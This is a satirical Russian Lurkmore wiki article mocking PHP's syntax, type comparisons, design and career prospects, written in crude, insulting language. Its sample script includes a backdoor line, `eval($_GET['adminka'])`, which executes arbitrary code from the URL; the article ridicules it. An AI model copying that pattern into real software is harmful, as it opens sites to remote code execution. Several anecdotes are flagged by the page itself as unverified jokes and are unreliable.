Личные инструменты

PHP

Материал из Lurkmore

(Перенаправлено с ПеХаПе)
Перейти к: навигация, поиск
НЕНАВИСТЬ!
Данный текст содержит зашкаливающее количество НЕНАВИСТИ.
Мы настоятельно рекомендуем убрать от мониторов людей, животных со слабой психикой, кормящих женщин и детей.
В эту статью нужно добавить как можно больше быдлокодинга, дейтингов и дорвеев.
Также сюда можно добавить интересные факты, картинки и прочие кошерные вещи.

PHP (ПХП, похапэ, пэхэпэ, пихапи, пых-пых, пышп, ПиЭйчПи) — один из немногих языков программирования, владея которым, можно заработать себе на хлеб сало и воду. Пых как язык подвергается критике за узкую специализацию (полностью заточен под веб, однако следует отметить что существует возможность писать на нём и гуи), расово-неполноценный синтаксис и ебанутую реализацию ООП. Язык сам по себе прост в изучении, так что на рынке полно низкоквалифицированных программистов, предоставляющих свои услуги, а также скрипт-кидисов. В рунете примерно 95% сайтов написаны или работают на Пыхе, но несмотря на это он был и остается примером фееричесского пиздеца и это остаётся фактом, с которым трудно поспорить.

Исторически является ересью от православного языка Perl. За его создание предан анафеме некто Расмус Лердорф — царь и бох Пыха. Его ждут невыносимые муки, страшный суд, вечный ад и погибель.

Содержание

[править] На самом деле

На самом деле, PHP имеет такую репутацию не столько из-за того, что он PHP, а из-за некоторых людей, которые на нём пишут. На самом деле PHP как средство разработки несложных веб-страничек вполне приемлем.

[править] Название

PHP — от англ. Personal Home Page — личная домашняя страничка. Так-то!

В последствии для пущей солидности была изобретена другая интерпретация: PHP: Hypertext Preprocessor. Она содержит рекурсию вовсе не потому, что PHP разработчики любят рекурсию, а скорее потому, что подогнать нормальный акроним к имеющимся буквам было весьма затруднительно.

[править] Пример программы (скрипта)

<?php
echo '<html>
<body>
<h1>This is my home page</h1>
DATING &amp; DOORWAY
</body>
</html>'
;
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>

И да, если вы когда нибудь увидите html-код, вынесенный за php-тег в файле .php, то смело карайте анально автора, потому что весь html-код можно и нужно выносить в отдельные файлы-шаблоны[1]. А после анальной кары лишите его доступа к клавиатуре из-за eval-гета. И не забудьте ударить его головой об клавиатуру ровно столько раз сколько вычисляется по этой формуле: X = E-1, где X количество ударов об клавиатуру, а E количество echo используемых в скрипте.

Доподлинно известны случаи, когда сравнительно сложные проекты из-за явного ФГМ у кодеров, пейсавших их, были выполнены в виде одного-единственного файла.php.

Внимание!
Расположенная ниже информация принципиально никем не проверялась и, вероятнее всего, добавлена сюда исключительно для лулзов.

[править] Достоинства языка

  • Лёгок для изучения — ПХП может изучить даже обезьяна. Что и доказывают чуть менее, чем все ПХП-проекты.
  • На ПХП хорошо пишутся дорвеи и дейтинги. Алсо, на нём написан движок MediaWiki — движок для абсолютного большинства Wiki-энциклопедий, включая это ваше уютненькое Луркоморье.
  • Вывод ошибок прямо на веб-страницу. В нормальных условиях это работает только у веб-разработчиков, облегчая им отладку скриптов. Впрочем, у некоторых хостеров, вроде хостинг-центра РБК, отображение ошибок включено для всех клиентов, что доставляет лулзы посетителям сайтов, расположенных там. Алсо, на ПХП можно переключать режим отображения ошибок на лету и даже написать свой обработчик ошибок, с блекджеком и шлюхами.
  • Основные функции встроены прямо в интерпретатор и не надо мучаться, подключая какие-нибудь там модули. Алсо, стандартная поставка ПХП включает в себя чуть более, чем половину всех, необходимых абсолютному большинству разработчиков, модулей. Алсо, есть внешние библиотеки, объединенные в репозитории типа PEAR или PECL[2].
  • В первых версиях ПХП большое количество переменных автоматически импортировалось в глобальное пространство имён (register_globals), чтобы их было оттуда проще достать. Однако, в последнее время наблюдается тенденция на ужесточение и в PHP5 возможность включить это оставлена для совместимости, а в PHP6 будет убрана вообще, для безопасности.
  • Любой переменной можно в любое время присвоить значение любого типа. Например, можно присвоить строку «Вася», числовой переменной, после чего переменная будет строковой. В связи с этим сравнение строковой единицы и числовой единицы ('1' == 1) даст true (более того «1» == «01» тоже будет true), что в некоторых ситуациях облегчает написание кода. Программистам это не мешает, поскольку они умеют проверять/изменять тип данных (в частности '1' === 1 вернет false).
  • Сравнение в PHP вообще весьма доставляет, ввиду того, что транзитивность не выполняется[3]: если $а == $b и $b==$c, это в целом не означает что $a==$c. Короткий пример это подтверждает:
$a="0"; $b=0; $c="";
echo $a==$b ? 'Y' : 'N', $b==$c ? 'Y' : 'N', $a==$c ? 'Y' : 'N';
$php = 0;
var_dump($php == "хуита"); // bool(true)
  • Заметная часть вопросов в официальном сертификационном тесте от Zend по ПХП 4 и 5 посвящена умению отыскать ошибку в весьма черезжопном коде, что несомненно символизирует. Пруфлинка из-за закрытости всех материалов не будет, но я гарантирую это.
  • Верстальщики легко могут отомстить программистам — достаточно перемешать код на ПоХаПэ и HTML! Нормальным программистам же это не важно, поскольку они используют нормальные редакторы с подсветкой синтаксиса, а порой и держат весь проект в голове. Впрочем, верстальщики, не имеющие непосредственного доступа к созданию php-файлов и/или профитной возможности добраться до ближайшего eval() с неприкрытой жопой, ничего плохого кроме своего быдлодизайна сделать не смогут. Дизайн то вытаскивается, неважно откуда, только для вывода, и все потроха типа <?php > так и выползут на страницу в своем первозданном быдлокодерском виде.
  • На ПХП пишется больше быдлоскриптов, чем на любом другом языке, в силу простого[ЩИТО?] синтаксиса и, как результат, наличия OVER 9000 быдлокодеров. Из этого следует вероятность наличия в скрипте ошибок, приводящих к уязвимостям вроде SQL-инъекций и cross-site scripting. Соответственно, взломщикам (хацкерам) гораздо проще и веселее работать с такими скриптами.
  • По словам разработчика языка, первая версия PHP была написана буквально за день в промежутках между деловыми встречами.
  • Если Вы любите ПХП, Вы будете уверены, что он безупречен.
  • ПХП — это глобально и надёжно.
  • ПХП — это кошерно. Встретив некошерное место, ПХП укажет это на еврейском расовом языке. Пример некошерного скрипта: <?php :: ?>. Пояснение

[править] Недостатки языка

php детектор. netbeans said
  • PHP течёт, как сито, что затрудняет создание сколь угодно долго работающих программ. По этой причине, несмотря на наличие рисовалки окошек php-gtk, а также Borland^W Delphi для PHP, которая совмещает недостатки Delphi и PHP, кодить десктопные приложения на препроцессоре HTML не представляется возможным.
  • Основные функции встроены прямо в интерпретатор вместе со всей поебенью, которая может «понадобится впредь». Из-за чего глобальный неймспейс засран более чем 9000 имен функций, многие из которых принимают совершенно ебанистическую форму.
  • Многим разработчикам отсутствие типизации в PHP доставляет неудобства, из-за чего им приходится писать нечто подобное
$my_var*=1.0; // это таки не строка

Однако можно использовать преобразование типов (type casting) в стиле Си, например:

$float = 10.2;
$int = (int)$float; // Будет целое 10
$str = (string)$float; // Будет строка "10.2"
$float = (float)$float; // Будет то же самое ^_^ (float)

Или же медленнее, но правильнее с точки зрения ПоХаПе:

$float = 10.2;
$int = intval($float); // Будет целое 10
$str = strval($float); // Будет строка "10.2"
$float = floatval($float); // Будет то же самое ^_^ (float)
  • Отсутствует проверка на уровне интерпретатора типов для значений параметров, передаваемых в функции. Это приводит к появлению у быдлокодера кучи труднообнаружимых ошибок.

Например, при сравнении лучше везде использовать ===. Иначе можно подхватить лулз типа такого:

echo 0 == "php"; // 1. приведение типа близоруко и линейно. приведения к наиболее широкому типу не дождешься
  • В PHP-5 в качестве type hint’ов стало можно задавать array или названия классов, но этим всё равно никто не пользуется. Для скалярных типов данных (boolean, integer, float, string) проверка типов по-прежнему отсутствует (в транке уже запилена).
  • Отсутствие классов тривиальных базовых типов типа array, string, int и т. д. В результате этого вся объектно-ориентированность языка опрокидывается в парадокс:
// дано: массив возвращаемый объектом
// $object->my_array
 
// пытаемся вывести значение массива под индексом key
echo $object->my_array['key']; // отлично, работает
 
// как добавить элемент в начало массива $object->my_array?
// пишем это:
$temp = $object->my_array;
array_unshift($temp, 'new_val');
$object->my_array = $temp;
 
// хотя в нормальных языках могли бы написать так
$object->my_array->prepend('new_val');
 
// но в php можно и так
array_unshift($object->my_array, 'new_val');
 
// foo() возвращает массив,
// хотим получить сразу элемент под индексом key
$object->foo()['key']; // так нельзя, это не JS
// Начиная с 5.4 - можно!
 
// хотя в нормальных языках могли бы написать так
$object->my_array->key;
 
// но в php можно и так
$object->my_array['key'];
//
  • PHP можно установить не только через расово верный CGI, но и как модуль к апачу, что облегчает работу быдлокодеров и добавляет пару-тройку плюшек, а также повышает быстродействие, но требует больше памяти, а также добавляет неудобств при работе с файлами, так как выполняется от имени пользователя www, тогда как из под CGI интерпретатор можно запустить из под любого пользователя, что доставляет лулзы перлфагам.
  • Дурацкая организация самого интерпретатора. Функции собраны скопом в большие библиотеки расширений (.so или .dll), которые нужно компилировать и подключать к интерпретатору. И которые безусловно целиком и грузятся в память в процессе работы программ. Есть функция dl, которая позволяет подгружать расширения в процессе выполнения, однако такая конструкция работает крайне нестабильно и крайне медленно, и не работает вовсе, если ПоХаПе установлен в виде модуля к апачу и скомпилирован с Thread-safety, блджад!
  • Регулярные выражения реализованы через жопу специальную функцию, которая этот ваш regexp обрабатывает. В результате чего многие вещи (кому интересно, man perlre), которые доступны в perl, в PHP делаются через жопу, так как в Perl’е регулярные выражения — операторы, а в PHP это функции. Так же в Perl регулярные выражения это Недетерминированный Конечный Автомат (НКА), а в PHP Детерминированный (ДКА). То есть один и тот же регэксп может давать разные результаты в этих языках программирования.
  • Переменные по умолчанию могут быть не объявлены; при чтении переменной, к которой ранее не было обращений на запись, интерпретатор ведёт себя так, будто там NULL. Просветлённые и причастившиеся считают, что это очень удобно, единственный маленький недостаток — вскоре после разнесения монолитного скрипта по отдельным функциям в нём самопроизвольно зарождается разум. Излечивается добавлением «обработчика ошибок во время выполнения» — короткой функции, откуда производится возврат в случае мелких ошибок (вроде «не удалось назначить права доступа к файлу» — зависит от задачи), а последним действием стоит «throw new Exception()» с указанием имени файла и строки, где случилась ошибка. При этом печатается стек вызовов, так что можно отследить, как же это скрипт дошёл до жизни такой.
  • Отсутствует такая кошерная вещь, как CPAN в perl, которая позволяет огромному числу разработчиков по всему миру писать новые либы в составе комьюнити. Правда, имеются расширения PECL и библиотека PEAR, но до CPAN’а им всё равно как до луны пешком.
  • Всё-таки отсутствует многопоточность — потоков как таковых нет; curl_multi_exec позволяет лишь более-менее работать со множеством сетевых соединений одновременно. Хотя по-хорошему, потоки в пхп не нужны никому, кроме личностей, пишущих на пхп веб-сервера (!), IRC-ботов и прочую чухню, для которой пхп годится, но только если левой пяткой его…. С другой стороны есть функции мультиплексирования потоков и прослойка на libevent, с православным epoll, что позволяет оч. эффективно решать многие задачи в один поток/процесс.
  • Большие проблемы с реализацией utf-8. Что иногда лечится применением setlocale(). Например, функция basename() имеет обыкновение съедать нелатинские символы до пробела или другого разделителя из файлового имени при работе с $_FILES в аплоаде. В частности, например в phpbb и Drupal, файловое имя «Ёжики колючие скрипучие.png», превратится в «колючие скрипучие.png». Такое состояние дел преследует практически все функции парсинга текста. Исправить ситуацию можно указав локаль через setlocale(LC_ALL, 'ru_RU'). Дело потихоньку фиксится. Однако полную поддержку utf-8, обещают не раньше чем в php 6. Более подробные описания данного явления можно найти на http://php.net в разделе документации basename().

[править] Начинающие программисты на PHP

Веблансер.нет чуть менее, чем полностью состоит из быдлокодеров.

Более 9000 быдлокодеров начинают программировать на PHP. При неправильном использовании — они становятся источниками дорвеев и дейтингов. При правильном — источником лулзов. Особенно доставляет форум phpclub, куда программисты быдлокодеры заходят постебаться над быдлокодерами. Общаться с программистами PHP можно о чём угодно, кроме PHP. За любой кусочек кода, приведённый вами (даже, если он гениальный) вы в ответ получите полсотни других вариантов от других программистов, вызывая неиллюзорный butthurt и закидывание вас какашками.

[править] Опытные программисты и PHP

Примерно раз в несколько месяцев на каком-нибудь профессиональном уютненьком сообществе типа phpclub.ru появляется очередное существо с завышенным ЧСВ, имеющее смутное представление об IF и ELSE, никогда не писавшее ничего сложнее сайта с пизженным контентом и считающее своим долгом обвинить PHP в медлительности/отсутствии внятного API/русофобии и прочих смертных грехах. Вброс как правило начинается с утверждения, что правильные пацаны пишут сайты на Ruby/C/Perl/Ассемблере и т. д. В адекватном сообществе подобные поциенты долго не задерживаются и быстро умываются собственным говном, особенно, если натыкаются на Фаната[4].

Типичный пример унылого поста можно посмотреть в «Ссылках» («К вопросу об ублюдочности PHP»), или найти подобные высказывания в данной статье.

Типичный пример обсуждения. Вопрос: Есть PHP скрипт, запускаемый из браузера, время выполнения - несколько часов. Минут через 20 после запуска в браузере вылетает 500 Internal Server Error, сам скрипт при этом продолжает работать, успешно все доделывает и не выполняется только последняя строчка (запись в лог-файл). Ответ 1: o_0. Может, в таком случае лучше не надо выполнять его в браузере? Ответ 2: подобные вопросы для PHP-публики редко актуальны :)

Но существуют также разновидности тонкого троллинга на тему пригодности php как языка вообще:

В одном интервью с кем-то из руководителей Гугл спросили "Используете ли Вы и если да то как php в Гугл?". На что получили ответ "Да, используем... У нас в офисе есть страничка, через которую мы пиццу заказываем... Дак вот, ОНА написана на php."

Внимание!
Расположенная выше информация принципиально никем не проверялась и, вероятнее всего, добавлена сюда исключительно для лулзов.

[править] PHP как дурь

«Студент-второкурсник старшей школы Бретт Тайсон был отстранен от занятий, после того как учитель узнал, что Тайсон вероятно употребляет PHP.» «Учитель случайно услышал как Бретт говорит о том что употребляет PHP, и в следствии политики абсолютной нетерпимости в отношении наркотиков, студент был сразу отстранен. Без всяких вопросов.» — сообщил ректор Clyde Thurlow. «Мы не совсем уверенны чем именно является PHP, но скорее всего вариант PCP (галлюциноген — прим. пер. ), или новый синтетический наркотик, например как GHB (бутират — прим. пер.).»

http://habrahabr.ru/blogs/php/57000/, Оно же на мунспике.

анонимус желает добавить что это выдумка Задорнова, из серии «ну тупыыые». Под «старшей школой» могло иметьсяя ввиду «high school», а там не может быть второкурсников, ибо сквозная нумерация классов, то есть 10,11,12 классы. Там не может быть ректора, а будет principal, который переводится как директор. ну а главное, говоря о языке программирования, студент бы сказал «use PHP», в то время как о том о чем сабж, можно сказать «take вещество»

[править] PHP как пиздец

Внимание!
Эта статья или раздел полны стереотипами чуть более, чем наполовину.
Скорее всего, это сделано исключительно для лулзов. Хотя если подумать

Алсо, Пых может поломать жизнь не хуже любой дури, поэтому слушай, мой юный друг. Да, Пых — самый короткий и быстрый путь к баблу. Но если ты решил связать свою жизнь с программированием, то совет один: даже и не думай о Пыхе, иначе через пару лет будешь рвать волосы на жопе.

  • PHP (вместе с Pascal) — самые низкооплачиваемые языки программирования. Сколько бы книг ты ни прочитал, сколько бы мегабайт кода ни написал, ты никогда не будешь получать больше, чем Java-быдлокодер средней криворукости. «На Яве пишут Корпорации», а на Пыхе…
  • Порог выхода такой же низкий, как и порог входа: если у программиста на полноценных языках с возрастом есть шанс стать ценным высокооплачиваемым специалистом, то у похапе-олдфага такой возможности нет просто ввиду убогости и примитивности решаемых задач, его спокойно можно выгнать на улицу взяв взамен школьника, который обучится всем премудростям похапе-быдлокоддинга за пару месяцев потребляя при этом в три раза меньше доширака.
  • Возможно, сейчас тебе кажется, что делать сайты — достойное и интересное занятие, но если ты хоть немного программист, через пару лет такой работы ты просто завоешь от того, насколько это унылая и далекая от программирования деятельность.
  • Большинство проектов кроме того, что по сути своей убоги, представляют из себя чудовищный говнокод на кривых самодельных говнофреймворках и говноCMS (потому как сам язык не только не заставляет писать правильно, но и фактически подталкивает к производству быдловелосипедов). Как следствие такой работы — необратимое поражение мозга и окончательная потеря квалификации. Чему также способствует работа в коллективе невероятно тупых похапешников (просто потому, что умный человек PHP не выберет).
  • Некоторые начинают работать на PHP с надеждой потом перейди на что нибудь другое. Но это тоже большая ошибка: во-первых, теряется драгоценное время для старта (наверное, самое важное и ценное в и без того короткой профессиональной жизни программиста), а во-вторых, PHP-опыт никому не нужен и нормальные программисты справедливо смотрят на него как на говно. «PHP» — клеймо быдлокодера на лбу и крест на карьере профессионального программиста, если ты пошел по этому пути, назад дороги уже не будет. Единственное исключение — устроится похапешником на многопрофильную фирму, где тебя каким-то чудом заметят и предложат перейти на полноценную технологию, но это невероятная удача.
  • Чуть более, чем вся относительно хорошо оплачиваемая работа для похапешников состоит из поддержки ботнетов, порносайтов, говносайтов с вирусами и прочего подобного дерьма. Подумай, хочешь ли ты потратить свою жизнь на засирание интернетов.

PHP погубил очень много потенциально хороших программистов просто благодаря легкости изучения на начальных этапах. Он затягивает как наркотик, с ним очень легко и приятно начать, вот только когда приходит понимание принципиальных недостатков как самого языка, как и (что гораздо более важно) его убогой ниши — часто оказывается уже слишком поздно что-то менять. Так что учись программировать, думай о будущем и обходи PHP стороной. Потому что с PHP у тебя нет будущего — это путь в никуда.

Вопреки пиздецу, PHP по-прежнему пользуется популярностью у фанатов, которые создают на нём домашние странички вроде фейсбука и его клонов.

[править] Алсо

PHP (или P.H.P.) — сокращение от Pot Head Pixie(s), используется как внутренний мем винрарной группы Gong еще с начала 70х.

[править] Ссылки

[править] См. также

[править] Примечания

  1. Если вы когда нибудь попробуете разобрать скрипты викимедии, вы поймёте, почему нельзя выносить код за блоки php.
  2. Не так-то все просто с PECL. Для Windows (на которой хостятся и отлаживаются немало web-проектов) последний PECl худо-бедно просуществовал до версии 5.2.6. А на данный момент уже выпущен PHP 5.3.5…
  3. Для сравнения с учетом типа нужно использовать ===
  4. Он же Romick Chef, он же Домохозяйка, он же модератор phpclub.ru, xpoint.ru/php, ru_php и т. д. Единственный в этой стране человек, знающий PHP чуть менее, чем полностью. 20 фактов о Фанате


Источник — «http://lurkmore.ru/PHP»